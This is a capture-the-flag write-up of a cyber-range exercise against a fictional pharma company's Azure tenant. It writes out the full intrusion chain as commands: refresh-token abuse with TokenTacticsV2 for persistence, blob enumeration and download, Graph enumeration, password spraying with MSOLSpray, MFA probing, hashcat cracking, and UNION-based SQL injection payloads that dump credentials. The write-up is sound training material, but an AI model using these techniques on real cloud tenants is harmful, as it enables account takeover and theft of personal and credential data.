> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2025/thuderdome/an-absent-defense.md). # An absent defense ## Solve Looking at the remaining files from the S3 dump, theres nothing that will allow us to escalate our privileges or lateral movement.

PII, while important in real life, its a CTF/Cyber Range so its not as interesting to us

The openemr-5.0.2.tar.gz seems to be the exact same copy from the trial-data-management-poc bit bucket URL. Recall that how in [Flag 2](/ctf-writeup/2025/thuderdome/pulled-from-the-sky.md), we noticed that the web-prod EC2 instance contains some azure credentials, lets try and dump it all.

Reading the msal\_token\_cache.json file, there is a bunch of bearer access token, however some of those had already expired, and some are expiring soon. So this is not a good way to access the nacer azure account as it might expire any time. Scrolling further down, we found a credential type called refresh token. By having a refresh token, we are able to obtain new access and refresh token pairs whenever the current one expires. The dedfault lifetime of refresh token is 90days, which allow us to maintain persistency on nacer Azure account, even if we lose access to the EC2.

Using the tool [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2), we are able to get a access token using the refresh token

Invoke-RefreshToAzureManagementToken -Domain massive-pharma.com -refreshToken $rt

Using the AzureManagementToken, we are able to authenticate using Azure Powershell.

Connect-AzAccount -AccountId nacer@massive-pharma.com -AccessToken $AzureManagementToken.access_token

As nacer have access over storage, we are able to list out the storage account. Lets get a storage account token and enumerate the storage account.

Invoke-RefreshToAzureStorageToken -Domain massive-pharma.com -refreshToken $rt

Refering to [Azure Storage REST API](https://learn.microsoft.com/en-us/rest/api/storageservices/), we will be 1. Listing Container ```powershell $storageAccountName = "mpprod" $headers = @{ 'Authorization' = "Bearer $($AzureStorageToken.access_token)" 'x-ms-version' = '2020-04-08' } $url = "https://$storageAccountName.blob.core.windows.net/?comp=list" Invoke-RestMethod -Uri $url -Headers $headers -Method Get ```

2. Listing blobs in container ```powershell $containerName = "portal-storage" $url = "https://$storageAccountName.blob.core.windows.net/$containerName`?restype=container&comp=list" Invoke-RestMethod -Uri $url -Headers $headers -Method Get ```

Listing blobs within the storage container

3. Downloading the blobs from the container ```powershell $blobName = "export-users.sh" $url = "https://$storageAccountName.blob.core.windows.net/$containerName/$blobName" Invoke-WebRequest -Uri $url -Headers $headers -OutFile $blobName ```

This seems to be a rabbit hole, since the export-users.sh does not contain much useful information. However one thing to take note is that the RESOURCE\_GROUP in the export\_users.sh is different from the storage container resoure group. This could be useful in the future as we might be able to identify other storage container in different resource group. Now that we have finish enumerating Azure Resources, lets pivot into enumerating Entra ID (Azure Active Directory). Ill be using one of my favourite tool [GraphRunner](https://github.com/dafthack/GraphRunner) to enumerate via the graph api.

Invoke-RefreshToMSGraphToken -Domain massive-pharma.com -refreshToken $rt

Its very straight forward to use GraphRunnerGUI, where we can just plug the graph api acess token and use it to run certain commands.

parsing the access token to see our scope

Able to list user, add the user list to our loot

Dumped email containing potential password

Using GraphRunner, we managed to retreived a list of user and 1 new potential password. As we dont have much to work off, lets try and spray the potential password against our user list. I will be using [MSOLSpray](https://github.com/dafthack/MSOLSpray).

Succesfully authenticate with yuki@massive-pharma.com

Next, lets try and enumerate to check if MFA is being used using [MFASweep](https://github.com/dafthack/MFASweep).

Invoke-MFASweep -Username yuki@massive-pharma.com -Password [REDACTED_PASSWORD]

From the MFASweep output, it seems like there isnt any Conditional Access Policies or MFA in place to restrict the user yuki. Using the Azure Portal, we are able to sucesfully authenticate and access the Azure Portal interface.

Again looking at the recent resources, two of them stand out immidiately * mpprod storage account (we access it previously) * pharsignt-dev function app Going to the All Resource Page, we also only have access to this two resource.

Looking at the storage browser, it only show the export-user.sh.

However, by default it will only show active blobs. We are able to view recently deleted blobs by swapping the options.

We are able to then download the user\_export\_20240202.csv file using the Storage Browser.

Downloading the files from version history

Looking at the downloaded file, it seems to contain email address as well as hashed password. Lets copy out the hashed password into a text file and try cracking it.

piping the hash into a new file to perform hash cracking

Using hash-identifier, the hash seems to be a possible sha-256 hash.

hashcat -m 1400 -a 0 hashed_password.txt /usr/share/wordlists/rockyou.txt

We have a new password and username to be added to our loot. ``` testacc@massive-pharma.com:[REDACTED_PASSWORD] ``` Pivoting back into the function app we can see the function app domain as well as the http trigger

Trying to use Azure Portal to perform more enumeration on the function app fails due to lack of permission. From the function name `HttpPharSightTrigger01`and the Trigger being HTTP, we can try enumerate the default domain to see if theres any error message. Referring to Azure Functions docmentation, we are able to craft the route to trigger the function.

https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-http-webhook-trigger

Sending a GET request to shows a instruction as well as sample data that we can use.

Sending a POST request with the data, we are returned with output and data. ```bash curl -X POST https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \ -d '{"trialname": "CardioPhase II"}' ```

The output seems to be from a database that show the number of columns. This might be suseptible to SQL Injection. I will proxy the request over the burpsuite so that I do not need to deal with escaping shell properly. ```bash curl -k -x http://127.0.0.1:8080 -X POST \ https://pharsight-dev.azurewebsites.net/api/HttpPharSightTrigger01 \ -d '{"trialname": "CardioPhase II"}' ``` Looking at Brupsuite, we are able to see the request in the HTTP request tab.

Next, I will forward the request to repeater by pressing Ctrl + R. I also changed the trialname to a single quote.

From the error we received, we are certain that this application is vulnerable to SQL Injection. Now lets try and craft the original SQL Query based on our output, and then try and perform SQL Injection. Based on the previous output, we have 6 columns along with their data type ``` id full_name participant_id date trialname health_conditions ```

The output ItemArray also matches the number of column. So a valid assumption of how the SQL might work is ```sql SELECT id, full_name, participant_id, date, trialname, health_conditions FROM table_name WHERE trialname = ``` From the data type, we can also safely assume that its a Windows SQL server. But for sanity check, lets attempt to retrieve the banner ```sql 'UNION SELECT 1, @@version, null, null, 5,6 -- ```

Getting Table Name ```sql 'UNION SELECT 1, table_name, null, null, 5,6 from information_schema.columns -- ``` Output Data: appusers, database\_firewall\_rules, Participants

Getting Table Column ```sql 'UNION SELECT 1, column_name, null, null, 5,6 from information_schema.columns where table_name = \'appusers\' -- ``` Output Data: id, password, username

Getting username and password ```sql 'UNION SELECT null, id, null, null, username,password from appusers -- ```

Other than the flag, we also get a set of credential for nina.

Now lets add nina password to our loot. ## TLDR * Use Refresh Token to get access token * Enumerate Azure Resources (storage account) * Use TokenTacticsV2 to request an MSGraphToken * Plug the access token to raph runner to enumerate AzureAD and Outlook * Plaintext credential spotted in Outlook * Spray with MSOLSpray using new credentials and check for MFA with MFASweep * Access yuki account with new credential * Download database dump from Storage Account versioning and crack the hashes * Identify that theres a Function App running and enumerate the function app * Perform SQL Injection to get flag and nina credential ## Reference * * * * * *